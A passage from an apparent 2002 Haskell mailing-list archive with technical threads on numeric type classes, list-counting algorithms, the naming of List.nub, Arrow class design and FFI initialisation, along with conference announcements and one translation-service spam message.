with type Int and define the > function inc like this: >=20 > instance A Int where > inc a =3D a + 1 >=20 > I can't make a call to it when I enter the folowing >=20 > inc 5 >=20 > (When I type inc 5::Int it does the job perfectly, because I explicitly s= ay=20 > 5 is an Integer, but how can I tell the program 5 is an Int?????ithout=20 > saying it explicitly in the prompt) Because 5 does not have type Int, it has type Num a =3D> a which means that 5 can have any numeric type. Since + works for any numeric type, you can make your instance more general (so that it works for any numeric type, including Int) instance Num a =3D> A a where inc a =3D a + 1 Regards, Martin --=20 Martin Norb=E4ck d95mback@dtek.chalmers.se =20 Kapplandsgatan 40 +46 (0)708 26 33 60 =20 S-414 78 G=D6TEBORG http://www.dtek.chalmers.se/~d95mback/ SWEDEN OpenPGP ID: 3FA8580B --=-0vgXLGZfLD2s83Z5shvM Content-Type: application/pgp-signature; name=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: För information se http://www.gnupg.org/ iD8DBQA87PKgkXyAGj+oWAsRAqH6AJ9avn3V4qVQY+j69uj9nG9TLE3f1wCeKPfW hTOSZ82no+a4uqn71xf8JWk= =Y3h1 -----END PGP SIGNATURE----- --=-0vgXLGZfLD2s83Z5shvM-- From Tom.Schrijvers@cs.kuleuven.ac.be Thu May 23 14:52:05 2002 From: Tom.Schrijvers@cs.kuleuven.ac.be (Tom Schrijvers) Date: Thu, 23 May 2002 15:52:05 +0200 (CEST) Subject: Prob with numeric values In-Reply-To: Message-ID: > Hello, > > I m having some difficulties with the following thing: > > I've made a class which looks somehow like this: > class A a where > inc::a->a > .... > > now, when I want to make a instance of it with type Int and define the > function inc like this: > > instance A Int where > inc a = a + 1 > > I can't make a call to it when I enter the folowing > > inc 5 > > (When I type inc 5::Int it does the job perfectly, because I explicitly say > 5 is an Integer, but how can I tell the program 5 is an Int?????ithout > saying it explicitly in the prompt) > > What s being the problem here?? Am I overlooking something here? > If you can help me... don't hesitate to contact me > > Thx, > > a haskell-lover This appears to be a question based on the exam of our declarative languages course. Please consult Bart Demoen, Remko Troncon or me with your questions. Cheers, Tom From voigt@orchid.inf.tu-dresden.de Thu May 23 14:52:08 2002 From: voigt@orchid.inf.tu-dresden.de (Janis Voigtlaender) Date: Thu, 23 May 2002 15:52:08 +0200 Subject: Prob with numeric values References: Message-ID: <3CECF408.1D4D299F@tcs.inf.tu-dresden.de> Jos Mistiaen wrote: > (When I type inc 5::Int it does the job perfectly, because I explicitly say > 5 is an Integer, but how can I tell the program 5 is an Int?????ithout > saying it explicitly in the prompt) You HAVE to tell the program that 5 is an Int, because there might be other instances of your class, e.g.: class A a where inc::a->a instance A Int where inc a = a + 1 instance A Float where inc a = a - 1 Then you get: Main> inc 5 :: Int 6 (18 reductions, 21 cells) but: Main> inc 5 :: Float 4.0 (18 reductions, 26 cells) So clearly the result depends on the type, which therefor cannot be omitted. Regards, Janis. -- Janis Voigtlaender http://wwwtcs.inf.tu-dresden.de/~voigt/ mailto:voigt@tcs.inf.tu-dresden.de From info@a-traduire.com Fri May 24 00:20:29 2002 From: info@a-traduire.com (@Traduire) Date: Fri, 24 May 2002 01:20:29 +0200 Subject: . Message-ID: <039d01c202b0$7df568d0$03001aac@h9d9n7> Bonjour,=20 Nous souhaitons vous faire conna=EEtre les services du Bureau = International "@Traduire.com"=20 Le Bureau International =93@Traduire.com=94 r=E9pond =E0 tous vos = besoins en traduction, en vous offrant des solutions globales = d'=E9dition num=E9rique plurilingue : traduction dans toutes les = langues, interpr=E9tation, PAO et reproduction de documents, sites web = plurilingues, r=E9alisation de projets globaux multim=E9dia plurilingues = sur CD-ROM, localisation de logiciels. Pour pouvoir offrir le niveau de qualit=E9 exig=E9 par les clients, le = Bureau International =93@Traduire.com=94 dispose d'un r=E9seau de = traducteurs hautement qualifi=E9s qui lui permet de former des =E9quipes = de travail en fonction de la nature de chaque projet et de mener =E0 = bien des projets de grande envergure tout en offrant une qualit=E9 = maximale. N'h=E9sitez pas =E0 nous demander un devis gratuit. Dans l'attente d'une possible collaboration, je vous prie d'agr=E9er = l'expression de mes sentiments distingu=E9s. Bureau International "@Traduire.com" Site : www.a-traduire.com Tel: +34.609.51.33.37 From dpt@math.harvard.edu Fri May 24 05:31:17 2002 From: dpt@math.harvard.edu (Dylan Thurston) Date: Fri, 24 May 2002 00:31:17 -0400 Subject: Efficient way to code "(symbol,multiplicity)-counting" - how? In-Reply-To: <3CEC96D1.6070000@austrics.com.au> References: <3CEC96D1.6070000@austrics.com.au> Message-ID: <20020524043117.GA24934@lotus.bostoncoop.net> --ZGiS0Q5IWpPtfppv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 23, 2002 at 04:44:25PM +0930, Mark Phillips wrote: =2E.. > We "count" as follows: > [] [x] [y] [z] [x,y] [x,z] [y,x] [y,y] [y,z] [z,x] [z,y] [x,y,y] [x,y,z] > [x,z,y] [y,x,y] [y,x,z] [y,y,x] [y,y,z] [y,z,x] [y,z,y] [z,x,y] [z,y,x] > [z,y,y] [x,y,y,z] [x,y,z,y] [x,z,y,y] [y,x,y,z] [y,x,z,y] [y,y,x,z] > [y,y,z,x] [y,z,x,y] [y,z,y,x] [z,x,y,y] [z,y,x,y] [z,y,y,x] > and then start back at the beginning again (with []). >=20 > I want to define a function > next :: [(a,Int)] -> [a] -> [a] Is there a reason you frame the problem this way? Would it be OK to give a function > count :: [(a,Int)] -> [[a]] which would return, e.g., the list you gave above? That would probably be more natural to code. --Dylan Thurston --ZGiS0Q5IWpPtfppv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE87cIUVeybfhaa3tcRAj6mAJoDLSH6kgQwzy4iKc+U3u35x394XACePWH2 A8muTDyO/OXow8WS1v49IYk= =0ToP -----END PGP SIGNATURE----- --ZGiS0Q5IWpPtfppv-- From mark@austrics.com.au Fri May 24 08:09:35 2002 From: mark@austrics.com.au (Mark Phillips) Date: Fri, 24 May 2002 16:39:35 +0930 Subject: Efficient way to code "(symbol,multiplicity)-counting" - how? References: <3CEC96D1.6070000@austrics.com.au> <20020524043117.GA24934@lotus.bostoncoop.net> Message-ID: <3CEDE72F.70709@austrics.com.au> Dylan Thurston wrote: > On Thu, May 23, 2002 at 04:44:25PM +0930, Mark Phillips wrote: > ... > >>We "count" as follows: >>[] [x] [y] [z] [x,y] [x,z] [y,x] [y,y] [y,z] [z,x] [z,y] [x,y,y] [x,y,z] >>[x,z,y] [y,x,y] [y,x,z] [y,y,x] [y,y,z] [y,z,x] [y,z,y] [z,x,y] [z,y,x] >>[z,y,y] [x,y,y,z] [x,y,z,y] [x,z,y,y] [y,x,y,z] [y,x,z,y] [y,y,x,z] >>[y,y,z,x] [y,z,x,y] [y,z,y,x] [z,x,y,y] [z,y,x,y] [z,y,y,x] >>and then start back at the beginning again (with []). >> >>I want to define a function >>next :: [(a,Int)] -> [a] -> [a] >> > > Is there a reason you frame the problem this way? Would it be OK to > give a function > > >>count :: [(a,Int)] -> [[a]] >> > > which would return, e.g., the list you gave above? That would > probably be more natural to code. I'm not sure this is enough. However what might be enough, an alternative way to frame the problem, would be to have a function which returns a partial list, given some starting point. Ie count :: [(a,Int)] -> [a] -> [[a]] What I am using this counting for is to solve the following problem: Suppose you have 3 boxes (more generally n boxes) in a line, and you have symbols with certain multiplicities as before. I wish to put a list of symbols into each box such that * the total number of occurrences of any given symbol, across all boxes, should equal its multiplicity (ie all symbols should be used the right number of times) * the lists, going from left to right along the boxes, should be increasing (using the above "counting" definition to define the ordering) (so the next box along should contain a sequence that is greater than or equal to the previous one) For a given (symbol,multiplicity) list and a fixed number of boxes, n say, I wish to generate all such choices of symbol lists (ie all choices of lists which satisfy the above conditions). My idea for solving the problem is to choose the first box, starting from [] and incrementing using the above counting method. Then at each step, consider objects for the second box, starting from whatever was in the firxt box and incrementing from there,... and so on. That is what my "next" function is for. To do the incrementing from where the previous box left off. So as you can see, I do need to be able to start part way through the list. Of course, maybe I am not approaching the problem in the best manner. Cheers, Mark. -- Dr Mark H Phillips Research Analyst (Mathematician) AUSTRICS - Smarter Scheduling Solutions - www.austrics.com Level 2, 50 Pirie Street, Adelaide SA 5000, Australia Phone +61 8 8226 9850 Fax +61 8 8231 4821 Email mark@austrics.com.au From bhuffman@galois.com Fri May 24 18:00:35 2002 From: bhuffman@galois.com (Brian Huffman) Date: Fri, 24 May 2002 10:00:35 -0700 Subject: name of List.nub function Message-ID: <200205241000.35216.bhuffman@galois.com> Hi, This is just for fun, really, but does anyone know how the nub function from the standard List module got its name? (It is the function that removes duplicates from a list, in case you are not familiar with it.) I looked up the word "nub" in the online Merriam-Webster dictionary (www.m-w.com) and it gives: 1 : KNOB, LUMP 2 : NUBBIN 3 : GIST, POINT Then the entry for "nubbin" says: 1 : something (as an ear of Indian corn) that is small for its kind, stunted, undeveloped, or imperfect 2 : a small usually projecting part or bit 3 : NUB 3 So which sense of the word was the function named for? Could a list with stuff removed from it be considered "stunted"? Or maybe the set of unique elements from a list would be like the "main point" or "gist" of the list? If so, maybe "List.nub" could just as well have been named "List.gist" instead. Anyway, I'd be interested to learn anything about the history and naming of "nub", or any other library functions, for that matter. - Brian Huffman From tom.schrijvers@cs.kuleuven.ac.be Fri May 24 18:12:51 2002 From: tom.schrijvers@cs.kuleuven.ac.be (Tom Schrijvers) Date: Fri, 24 May 2002 19:12:51 +0200 Subject: name of List.nub function In-Reply-To: <200205241000.35216.bhuffman@galois.com> References: <200205241000.35216.bhuffman@galois.com> Message-ID: <20020524171251.GA3007@ender.kotnet.org> On Fri, May 24, 2002 at 10:00:35AM -0700, Brian Huffman wrote: > Hi, > > This is just for fun, really, but does anyone know how the nub function from > the standard List module got its name? (It is the function that removes > duplicates from a list, in case you are not familiar with it.) I looked up > the word "nub" in the online Merriam-Webster dictionary (www.m-w.com) and it > gives: > > 1 : KNOB, LUMP > 2 : NUBBIN > 3 : GIST, POINT The first result for nub in dictionary.com gives: nub Pronunciation Key (nb) n. 1. A protuberance or knob. 2. A small lump. 3. The essence; the core: the nub of a story I think essence is the right meaning, removing all duplicates. Cheers, -- Tom From rjmh@cs.chalmers.se Fri May 24 18:27:26 2002 From: rjmh@cs.chalmers.se (John Hughes) Date: Fri, 24 May 2002 19:27:26 +0200 (MET DST) Subject: name of List.nub function In-Reply-To: <20020524171251.GA3007@ender.kotnet.org> Message-ID: On Fri, 24 May 2002, Tom Schrijvers wrote: > > The first result for nub in dictionary.com gives: > nub Pronunciation Key (nb) > n. > > 1. A protuberance or knob. > 2. A small lump. > 3. The essence; the core: the nub of a story > > I think essence is the right meaning, removing all duplicates. > Cheers, > -- > Tom Yes, that was the reason for the name. John From csmr2003@unisannio.it Fri May 24 19:42:18 2002 From: csmr2003@unisannio.it (csmr2003@unisannio.it) Date: Fri, 24 May 2002 20:42:18 +0200 (CEST) Subject: CSMR 2003 - CALL FOR PAPERS Message-ID: <200205241842.g4OIgIw28233@unisannio.it> Dear colleague: We would like to invite you to participate in the Seventh European Conference on Software Maintenance and Reengineering, which will be held in Benevento, Italy, March 26-28, 2003, and to submit a paper. ======================================================================== (Please apologize for multiple copies) Seventh European Conference on Software Maintenance and Reengineering Benevento, Italy March 26-28, 2003 http://rcost.unisannio.it/csmr2003 CALL FOR PAPERS CSMR is the premier European Conference on Software Maintenance and Reengineering. Its purpose is to promote both discussion and interaction about evolution, maintenance and reengineering. Topics of interest include, but are not restricted to: Evolution, maintenance and reengineering: + pattern languages + experience reports (successes and failures) + tools + enabling technologies + formal methods + system assessment + web-site Metrics and economics Software evolution and architecture recovery Migration and maintenance issues Dealing with legacy systems towards new technologies Wrapping and interfacing legacy systems Data reengineering Reverse engineering of embedded (control, mobile, ...) systems Evaluation and assessment of reverse engineering tools One of the basic intentions of this conference is to offer a European forum for discussion and exchange of experiences among researchers and practitioners. Therefore, besides academics, we kindly invite all those in companies developing maintenance tools, offering reengineering services or going through legacy systems migration experiences to contribute by submitting papers or presenting innovative tools, solutions or experience reports. This conference is not limited to European participants; authors from outside Europe are also welcomed. SUBMISSIONS: ============ IEEE Computer Society Press will publish the CSMR 2003 Proceedings. Two types of submissions will be accepted: full length papers (not exceeding 10 proceeding pages, IEEE Style) and short papers (not exceeding 4 proceeding pages, IEEE Style). All papers must be in English. Authors are requested to submit electronically a PostScript or PDF version of their papers. For submission details please look at the web site IMPORTANT DATES: ================ Deadline for submissions October 10, 2002 Author's notification November 27, 2002 Deadline for camera-ready of accepted papers December 20, 2002 SPECIAL SESSIONS: ================= Sessions of special interest proposed by delegates will be welcomed. Please send suggestions to the program chair before the submissions closing date. PROGRAM CHAIR: Mark van den Brand, CWI,The Netherlands e-mail: Mark.van.den.Brand@cwi.nl PROGRAM CO-CHAIR: Tibor Gyimóthy, University of Szeged, Hungary e-mail: gyimi@cc.u-szeged.hu GENERAL CHAIR: Gerardo Canfora, Research Centre on Software Technology, Italy e-mail: canfora@unisannio.it From wolfgang@jeltsch.net Fri May 24 21:40:10 2002 From: wolfgang@jeltsch.net (Wolfgang Jeltsch) Date: 24 May 2002 22:40:10 +0200 Subject: arrows Message-ID: <1022272812.7891.32.camel@localhost.localdomain> Hello, in his paper "Generalising monads to arrows" John Hughes introduces an Arrow class with the members arr and (>>>) and extends this with a member first. The Arrow module by Ross Paterson adopts the practice of including first in the Arrow class. Now, I have a type which would fit wonderfully into the Arrow concept if arrows wouldn't be expected to have a first operator. To be precise, I have a type Parser of kind * -> * -> * with Parser a b being a parser which reads from a list of tokens of type a and produces a value of type b. Parser a is an instance of Monad and MonadPlus, thus providing sequencing, handling of alternatives and the like. Now I want to implement scanners via my parser type. A scanner shall simply be described by a parser which parses one higher-level token from a stream of lower-level tokens. I want to provide a function of type Parser a b -> Parser b c -> Parser a c which constructs a parser which reads a value of type c from a stream of type a tokens by repeatedly invoking the first argument parser to produce higher-level tokens which are then consumed by the second argument parser in order to produce the final output. Of course this function looks like a candidate for being (>>>) in a Parser arrow. And there is also a meaningful definition for pure (arr). pure f just has to be a parser which reads exactly one token, applies f to it and outputs the resulting value. The problem is that there seems to be no appropriate definition for first. That's why, in my opinion, it would be very good to have only the members pure (arr) and (>>>) in Arrow and to define a subclass which adds first, similar to ArrowChoice which adds left. This would have also the advantage that the handling of first, second, (***) and (&&&) on the one hand, and the handling of left, right, (+++) and (|||) on the other would be totally analogous. What do you think of this approach? Are there any of you who think that modifying the Arrow module this way would be a good idea? I'm waiting for your comments. Wolfgang From ashley@semantic.org Fri May 24 23:55:00 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Fri, 24 May 2002 15:55:00 -0700 Subject: arrows Message-ID: <200205242255.PAA11315@mail4.halcyon.com> At 2002-05-24 13:40, Wolfgang Jeltsch wrote: >Now, I have a type which would fit wonderfully into the Arrow concept if >arrows wouldn't be expected to have a first operator. ...then it's not an Arrow. It sounds like it might be one of these, however: class Compositor comp where { identity :: comp a a; compose :: comp b c -> comp a b -> comp a c; }; I'm not sure if 'Compositor' is a good name for it, or what. >Parser arrow. And there is also a meaningful definition for pure (arr). >pure f just has to be a parser which reads exactly one token, applies f >to it and outputs the resulting value. >The problem is that there seems to be no appropriate definition for >first. That's why, in my opinion, it would be very good to have only the Can't you have a parser that reads in one token tuple, and apply another parser to the first part of it only? Otherwise, perhaps you could have classes like this: class (Compositor arrow) => Semiarrow arrow where { arr :: (p -> q) -> arrow p q; }; class (Semiarrow arrow) => Arrow arrow where { arrFirst :: arrow p q -> arrow (p,r) (q,r); }; -- Ashley Yakeley, Seattle WA From koen@cs.chalmers.se Sat May 25 09:32:45 2002 From: koen@cs.chalmers.se (Koen Claessen) Date: Sat, 25 May 2002 10:32:45 +0200 (MET DST) Subject: arrows In-Reply-To: <200205242255.PAA11315@mail4.halcyon.com> Message-ID: Wolfgang Jeltsch wrote: | Now, I have a type which would fit wonderfully into | the Arrow concept if arrows wouldn't be expected to | have a first operator. Ashley Yakeley replied: | ...then it's not an Arrow. Might I remind you that an arrow (as defined in category theory) only requires identy and composition to be defined and satisfying some laws? In particular, an arrow does not have to have the operations "arr" and "first". There are many types which would fit nicely in an arrow framework, but do not because of the demand of these operators, here are two examples: * Isomorphisms, are nice arrows: type Iso a b = (a -> b, b -> a) but of course not all functions have an appropriate inverse, so arr cannot be defined. * Stream processors (from Fudgets) are nice arrows: data SP a b = Get (a -> SP a b) | Put a (SP a b) | Nil But the first operator assumes that the product type associated with this arrow must be Haskell's product (,), but in fact a sum type would make a much nicer product. The reason why John chose to lay out the arrow library as it is (I think) is because of: * Simplicity; if you are too general then you get lots of painful classes all over the place. * Sufficiency; all examples he considered in his paper fit into the current framework. It is not clear if the design of the arrow library should be redone just because some particular examples do not fit in. After all, there are many examples of monads (Sets for example) which can not be made instance of the current monad class in Haskell. Regards, /Koen. -- Koen Claessen http://www.cs.chalmers.se/~koen Chalmers University, Gothenburg, Sweden. From rjmh@cs.chalmers.se Sat May 25 12:25:19 2002 From: rjmh@cs.chalmers.se (John Hughes) Date: Sat, 25 May 2002 13:25:19 +0200 (MET DST) Subject: arrows In-Reply-To: Message-ID: On Sat, 25 May 2002, Koen Claessen wrote: > > There are many types which would fit nicely in an arrow > framework, but do not because of the demand of these > operators, here are two examples: > > * Isomorphisms, are nice arrows: > > type Iso a b = (a -> b, b -> a) > > but of course not all functions have an appropriate > inverse, so arr cannot be defined. > > * Stream processors (from Fudgets) are nice arrows: > > data SP a b = Get (a -> SP a b) | Put a (SP a b) | Nil > > But the first operator assumes that the product type > associated with this arrow must be Haskell's product > (,), but in fact a sum type would make a much nicer > product. > > The reason why John chose to lay out the arrow library as it > is (I think) is because of: > > * Simplicity; if you are too general then you get lots of > painful classes all over the place. > > * Sufficiency; all examples he considered in his paper fit > into the current framework. > > It is not clear if the design of the arrow library should be > redone just because some particular examples do not fit in. > After all, there are many examples of monads (Sets for > example) which can not be made instance of the current monad > class in Haskell. > > Regards, > /Koen. Exactly. The other reason is that I was dubious that one can do very much WITH an arrow that doesn't have first. It's all very well to be able to make various types into instances, but if the combinators aren't then useful, then you've suffered extra complexity in the class structure for nothing. This is a compromise, of course, and I could be persuaded that it would be better to split the Arrow class -- but only if the new instances can then be USED in a useful way. John From dfeuer@cs.brown.edu Sat May 25 16:20:41 2002 From: dfeuer@cs.brown.edu (David Feuer) Date: Sat, 25 May 2002 11:20:41 -0400 Subject: arrows Message-ID: <20020525112041.B13561@cslab7c.cs.brown.edu> I strongly suspect that arrows without arr could be quite useful... not sure about ones without first. -- Night. An owl flies o'er rooftops. The moon sheds its soft light upon the trees. David Feuer From ashley@semantic.org Sat May 25 19:37:27 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Sat, 25 May 2002 11:37:27 -0700 Subject: arrows Message-ID: <200205251837.LAA20157@mail4.halcyon.com> At 2002-05-25 01:32, Koen Claessen wrote: >Might I remind you that an arrow (as defined in category >theory) only requires identy and composition to be defined >and satisfying some laws? > >In particular, an arrow does not have to have the operations >"arr" and "first". Well either "arrow" is being used in two different senses or the "Arrow" class should be renamed. If you can't define "arr" and "first", it may be an arrow but it's not an Arrow. -- Ashley Yakeley, Seattle WA From magnus@cse.ogi.edu Sat May 25 22:38:07 2002 From: magnus@cse.ogi.edu (Magnus Carlsson) Date: Sat, 25 May 2002 14:38:07 -0700 Subject: arrows In-Reply-To: References: <200205242255.PAA11315@mail4.halcyon.com> Message-ID: <15600.1087.139246.67651@silica.cse.ogi.edu> Koen Claessen writes: > * Stream processors (from Fudgets) are nice arrows: > > data SP a b = Get (a -> SP a b) | Put a (SP a b) | Nil > > But the first operator assumes that the product type > associated with this arrow must be Haskell's product > (,), but in fact a sum type would make a much nicer > product. I made an attempt to parameterize the arrow type over the type that should be used to form environments. Indeed, I used the sum type for the stream processor instance of arrows. I modified Ross Paterson's preprocessor to take advantage of this generalization. Some slides about this and an implementation can be found at http://www.cse.ogi.edu/~magnus/ProdArrows/ All the best, /M From john@repetae.net Sun May 26 02:37:00 2002 From: john@repetae.net (John Meacham) Date: Sat, 25 May 2002 18:37:00 -0700 Subject: Problem with FFI? Message-ID: <20020526013700.GA21759@momenergy.repetae.net> I may be missing something obvious here, but from the current FFI spec it appears that it is impossible to create libraries in haskell which are meant to be called from c code without running into undefined behavior. The problem is in the definition of hs_init() and hs_exit() . now, it is acceptable to have hs_init and hs_exit called in the initialization and finalization of your library, but the problem arrises when you link against more than one library which is implemented in haskell, suddenly whichever library is initialized secondly segfaults! (or whatever undefined behaviour means.). programs could suddenly stop working when a library is changed from a c implementation to a haskell one, which seems to be a bad thing. proposed fix: allow nested calls to hs_init, hs_exit, a counter is incremented when hs_init is called more than once, and decremented on hs_exit. only the last call to hs_exit will actually do whatever needs to be done. note that this cannot be implemented by the programmer himself since there might be several third party libraries also implemented in haskell which an app wishes to link against. this is sort of a showstopper for people (like me!) who wish to just use haskell as an implementation language for a library which is meant to be called from C. but then again, perhaps i am missing something obvious. John -- --------------------------------------------------------------------------- John Meacham - California Institute of Technology, Alum. - john@foo.net --------------------------------------------------------------------------- From mark@austrics.com.au Mon May 27 04:14:36 2002 From: mark@austrics.com.au (Mark Phillips) Date: Mon, 27 May 2002 12:44:36 +0930 Subject: Efficient way to code "(symbol,multiplicity)-counting" - how? References: <3CEC96D1.6070000@austrics.com.au> Message-ID: <3CF1A49C.7050806@austrics.com.au> Hi Alastair, Thanks for your email! Sorry about the slowness of my reply, but it's taken me quite some time to work through your email because many of the syntax and concepts are new to me. Yours has been a most informative email. I think I now understand most of your email, but it has raised in my mind a number of questions which I will now ask. > An alternative representation would be [a] where counts are > represented by repetition. Not clear which is better. Yes, I had wondered. In any case, it's not too hard to convert between the two forms: (rep stands for repetitions) multToRep :: [(a,Int)] -> [a] multToRep [] = [] multToRep ((aa,1):as) = aa : multToRep as multToRep ((aa,ab):as) = aa : multToRep ((aa,ab-1):as) repToMult :: Eq a => [a] -> [(a,Int)] repToMult [] = [] repToMult (a:as) = (a,b+1) : repToMult cs where (b,cs) = peel a as peel :: Eq a => a -> [a] -> (Int,[a]) peel a [] = (0,[]) peel a (b:bs) = if (a==b) then (c+1,ds) else (0,b:bs) where (c,ds) = peel a bs Anyway, probably the [(a,Int)] is the best. It is the shortest representation (except where multiplicities are mostly 1), and the multToRep function is simpler (I think) than repToMult. > > type Multiplicity a = [(a,Int)] Can we say "Multiplicity a" *is* "[(a,Int)]", or do we say "Multiplicity a" *is_a_distinct_yet_identical_copy_of* "[(a,Int)]"? > > counts :: Eq a => [a] -> Multiplicity a > > counts as = [ (a, length (filter (==a) as)) | a <- List.nub as ] Does it make a difference whether you write "filter (==a) as" or "filter (a==) as"? What do you think of the following as an alternative definition of counts? counts [] = [] counts (a:as) = (a,b+1) : counts cs where (b,cs)=strip a as strip :: Eq a => a -> [a] -> (Int,[a]) strip a [] = (0,[]) strip a (b:bs) = if (a==b) then (c+1,ds) else (c,b:ds) where (c,ds) = strip a bs I am trying to work out how to code fast and memory efficient haskell. Is the above a good approach? > Symbols are elements of a methematical structure that have a first > element, a final element and an increment function. > > [I'm making this a 1st class structure because I want to be able to > share the symbols structure between multiple invocations of next. I > will use this structure a lot like the way I would a typeclass - > except that I will explicitly create my own instance.] I'm a little unsure about what you are saying here. Am I right in thinking a 1st class structure is one that may be thought of as data? What is the alternative here? Are you saying that by defining such a structure, you can calculate the concepts once, and then pass them around, rather than calculating them at each step of the process? > data Symbols a = Symbols{ > first :: a, > final :: a, > inc :: a -> a > } > > The nxt function is a bit inefficient. We're hampered here by > polymorphism: if all you can do is an equality test, you can't do > better than a linear time lookup. A binary tree could be used instead > of the zip if we had an Ord instance; an array if we had an Ix > instance. But we can assume that the "digits" are ordered, this ordering given by the order in which they occur in the multiplicity. Is there a way of using this to make the digits an Ord instance? And if so, how do you do the binary tree? > > testF f = putStr $ showFigures (take 110 f) What does the "$" do in the above? > We've also ignored the importance of the multiplicity constraint. > We can enforce this by discarding any result of incF2 which fails > the constraint. > > > incF3 :: Eq a => Multiplicity a -> Symbols a -> Figure a -> Figure a > > incF3 m s f = head (filter (countok m) (tail (iterate (incF2 m s) f))) The filter combined with a check that the multiplicity constraint is satisfied will work, but how efficient is it? I am guessing that it will depend how many are rejected. If most are rejected then it's probably inefficient, but if only a few are, then it's the best way. Are there any other pros and cons with this approach? I am thinking that maybe a more efficient algorithm, in the case where lots are expected to be rejected in the above, would be one involving a dynamically changing multiplicity. Ie, when a symbol is chosen, the multiplicity is modified to reduce the corresponding multiplicity by 1. Of course, maybe I'm just thinking too much in the imperative framework still --- where the multiplicity would be represented as an array of values that could be reassigned. The problem seems to be that lazy lists are not good when you want to do "random access updates", which is roughly what we want to do with a multiplicity list. Are there well known Haskell solutions to this kind of issue? By the way, the reason I wanted my counting to wrap back to "[]" after getting to the maximum figure, is so the function "next" would always work. But your email suggested to me an alternative solution. I could just use the "Maybe" data type! Ie, trying to do a next on the maximum figure just gives you the Maybe "Nothing". Thanks again for your very informative email! Cheers, Mark. -- Dr Mark H Phillips Research Analyst (Mathematician) AUSTRICS - Smarter Scheduling Solutions - www.austrics.com Level 2, 50 Pirie Street, Adelaide SA 5000, Australia Phone +61 8 8226 9850 Fax +61 8 8231 4821 Email mark@austrics.com.au From comini@dimi.uniud.it Fri May 24 20:55:08 2002 From: comini@dimi.uniud.it (Marco Comini) Date: Fri, 24 May 2002 21:55:08 +0200 Subject: WFLP2002: Call for PARTICIPATION Message-ID: --============_-1189852384==_============ Content-Type: multipart/alternative; boundary="============_-1189852384==_ma============" --============_-1189852384==_ma============ Content-Type: text/plain; charset="iso-8859-1" ; format="flowed" Content-Transfer-Encoding: 8bit =============================================================================== CALL FOR PARTICIPATION 11th International Workshop on Functional and (Constraint) Logic Programming Grado, Italy June 20 - 22, 2002 =============================================================================== Please find attached (in PDF format) the fully detailed CALL FOR PARTICIPATION. Here is a text-only summary. ------------------------------------------------------------------------------- GENERAL The international workshop on functional and (constraint) logic programming WFLP 2002 aims to bring together researchers interested in functional programming, (constraint) logic programming, as well as their integration. Recent edition of the workshop have been held in Kiel (Germany), Benicassim (Spain), Grenoble (France), Bad Honnef (Germany). This workshop aims to promote the cross-fertilizing exchange of ideas and experiences among researches and students from the different communities interested in the foundations, applications, software engineering techniques and combinations of high-level, declarative (constraint) programming languages and related areas. The technical program of the workshop will include invited talks, presentations of refereed papers and demo presentations. The WWW page of the workshop is http://www.dimi.uniud.it/~wflp2002/ ------------------------------------------------------------------------------- LOCATION WFLP 2002 will take place in Grado, Italy. Grado is an island located on the Adriatic coast in a beautiful lagoon. It is famous for its attractive beaches, for its Roman history, and for the pleasant middleuropean atmosphere. Venezia is 100 km away and Trieste is 60 km away. The Conference Site is: Hotel Diana Via G. Verdi, 3 I-34073, Grado (Gorizia), Italy Tel. +39 043 182 247 / +39 043 180 026 Fax. +39 043 183 330 http://www.hoteldiana.it/ ------------------------------------------------------------------------------- PROGRAM The workshop will be a 3-day event including presentations of the accepted papers, system demos, and 3 INVITED TALKS: Yike Guo: "Declarative Programming in the Post-Internet Era" Peter Thiemann: "Programmable Type Systems for Domain SpecificLanguages" Giorgio Delzanno: "Verification of logic programs based on constraints" ------------------------------------------------------------------------------- PROGRAM COMMITTEE Maria Alpuente (Technical University of Valencia) Sergio Antoy (Portland State University) Manuel Chakravarty (University of New South Wales, Sidney) Rachid Echahed (IMAG, Grenoble) Francois Fages (INRIA Rocquencourt) Moreno Falaschi (Univ. Udine, chair) Thom Fruewirth (LMU Munich) Robert Glück (Waseda Univ., Japan and DIKU, Denmark) Michael Hanus (CAU Kiel) Tetsuo Ida (University of Tsukuba) Helene Kirchner (Univ. Nancy) Herbert Kuchen (Univ. Muenster) Michael Maher (Loyola University Chicago) Juan Jose Moreno Navarro (UP Madrid) Ernesto Pimentel (Univ. Malaga) Mario Rodriguez-Artalejo (UC Madrid) ------------------------------------------------------------------------------- LOCAL ORGANIZING COMMITTEE Gianluca Amato Demis Ballis Marco Comini Luca Di Gaspero Agostino Dovier Moreno Falaschi Alicia Villanueva ------------------------------------------------------------------------------- Please find attached (in PDF format) the fully detailed CALL FOR PARTICIPATION. This was a text-only summary. We hope to see you in Grado, Best Regards, -- WFLP 2002 Organizing Committee http://www.dimi.uniud.ut/~wflp2002/ --============_-1189852384==_ma============ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 8bit WFLP2002: Call for PARTICIPATION
===============================================================================
                           CALL FOR PARTICIPATION

11th International Workshop on Functional and (Constraint) Logic Programming
                            Grado, Italy
                     June 20 - 22, 2002

===============================================================================
Please find attached (in PDF format) the fully detailed CALL FOR PARTICIPATION.  Here is a text-only summary.


-------------------------------------------------------------------------------
GENERAL
The international workshop on functional and (constraint) logic programming WFLP 2002 aims to bring together researchers interested in functional programming, (constraint) logic programming, as well as their integration.  Recent edition of the workshop have been held in Kiel (Germany), Benicassim (Spain), Grenoble (France), Bad Honnef (Germany).
This workshop aims to promote the cross-fertilizing exchange of ideas and experiences among researches and students from the different communities interested in the foundations, applications, software engineering techniques and combinations of high-level, declarative (constraint) programming languages and related areas.  The technical program of the workshop will include invited talks, presentations of refereed papers and demo presentations.
The WWW page of the workshop is http://www.dimi.uniud.it/~wflp2002/


-------------------------------------------------------------------------------
LOCATION

WFLP 2002 will take place in Grado, Italy.
Grado is an island located on the Adriatic coast in a beautiful lagoon.  It is famous for its attractive beaches, for its Roman history, and for the pleasant middleuropean atmosphere.  Venezia is 100 km away and Trieste is 60 km away.

The Conference Site is:
Hotel Diana
Via G. Verdi, 3
I-34073, Grado (Gorizia), Italy
Tel. +39 043 182 247 / +39 043 180 026
Fax. +39 043 183 330
http://www.hoteldiana.it/

-------------------------------------------------------------------------------
PROGRAM
